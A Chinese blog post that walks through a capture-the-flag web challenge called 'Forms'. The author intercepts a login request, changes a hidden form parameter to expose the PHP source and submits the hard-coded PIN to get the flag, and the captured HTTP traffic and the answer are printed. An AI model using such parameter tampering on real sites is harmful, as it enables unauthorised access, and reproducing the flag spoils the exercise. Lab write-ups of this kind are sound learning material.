

# 实验吧——WEB-Forms

原创

小白白@  于 2019-04-04 17:07:52 发布  2485  收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/weixin\\_44677409/article/details/89029017](https://blog.csdn.net/weixin_44677409/article/details/89029017)

版权

Forms

拿到题目发现应该要我们提交一个PIN值

**Notice:** Undefined index: PIN in C:\h43a1W3\phpstudy\WWW\10\main.php on line 11

**Notice:** Undefined index: showsource in C:\h43a1W3\phpstudy\WWW\10\main.php on line 12

PIN:

输入个123，抓下包看看

<pre>POST /10/main.php HTTP/1.1 Host: ctf5.shiyanbar.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://ctf5.shiyanbar.com/10/main.php Content-Type: application/x-www-form-urlencoded Content-Length: 20 Connection: close Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1554364648; Hm_lptv_34d6f7353ab0915a4c582e4516dffbc3=1554365155; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*193895%2CnickName%3A%E5% B0%8F%E7%99%BD%E7%99%BD%40; PHPSESSID=6gssuoshjt4rlrkc65ikchi2 Upgrade-Insecure-Requests: 1  PIN=123&amp;showsourc=0</pre>	<pre>HTTP/1.1 200 OK Date: Thu, 04 Apr 2019 09:02:26 GMT Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29 X-Powered-By: PHP/5.3.29 Content-Length: 294 Connection: close Content-Type: text/html  &lt;html&gt; &lt;head&gt; &lt;title&gt;Forms&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  <b>User with provided PIN not found.</b> &lt;form action="" method="post"&gt;   PIN:&lt;br&gt;   &lt;input type="password" name="PIN" value=""&gt;   &lt;input type="hidden" name="showsourc" value=0&gt;   &lt;button type="submit"&gt;Enter&lt;/button&gt; &lt;/form&gt; &lt;/body&gt;</pre>
---	--

发现一起提交的还有个showsourc参数，发现它是0，我们改为1看看

<pre>POST /10/main.php HTTP/1.1 Host: ctf5.shiyanbar.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://ctf5.shiyanbar.com/10/main.php Content-Type: application/x-www-form-urlencoded Content-Length: 20 Connection: close Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1554364648; Hm_lptv_34d6f7353ab0915a4c582e4516dffbc3=1554365155; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*193895%2CnickName%3A%E5% B0%8F%E7%99%BD%E7%99%BD%40; PHPSESSID=6gssuoshjt4rlrkc65ikchi2 Upgrade-Insecure-Requests: 1  PIN=123&amp;showsourc=1</pre>	<pre>Content-Type: text/html  &lt;html&gt; &lt;head&gt; &lt;title&gt;Forms&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  &lt;pre&gt; \$a = \$_POST["PIN"]; if (\$a == -1982774773616112831283716166172777371616672727261614 9001823847) {   echo "Congratulations! The flag is \$flag"; } else {   echo "User with provided PIN not found."; } &lt;/pre&gt; <b>User with provided PIN not found.</b> &lt;form action="" method="post"&gt;   PIN:&lt;br&gt;   &lt;input type="password" name="PIN" value=""&gt;   &lt;input type="hidden" name="showsourc" value=0&gt;   &lt;button type="submit"&gt;Enter&lt;/button&gt;</pre>
---	--

我们好像得到了源代码，发现只要让PIN等于一串数字就应该可以拿到flag

-19827747736161128312837161661727773716166727272616149001823847

POST /10/main.php HTTP/1.1  
Host: ctf5.shiyanbar.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101  
Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Referer: http://ctf5.shiyanbar.com/10/main.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 80  
Connection: close  
Cookie: Hm\_lvt\_34d6f7353ab0915a4c582e4516dffbc3=1554364648;  
Hm\_lpv\_34d6f7353ab0915a4c582e4516dffbc3=1554365155;  
Hm\_cv\_34d6f7353ab0915a4c582e4516dffbc3=1\*visitor\*193895%2CnickName%3A%E5%  
B0%8F%E7%99%BD%E7%99%BD%40; PHPSESSID=6gssuoshjt4rldrkc65ikchi2  
Upgrade-Insecure-Requests: 1

[PIN=-19827747736161128312837161661727773716166727272616149001823847&shows  
ource=1](#)

```
<html>
<head>
<title>Forms</title>
</head>
<body>

<pre>
$a = $_POST["PIN"];
if ($a ==
-1982774773616112831283716166172777371616672727261614
9001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found.";
}

</pre>Congratulations! The flag is ctf{forms_are_easy}
<form action="" method="post">
PIN:<br>
<input type="password" name="PIN" value="">
```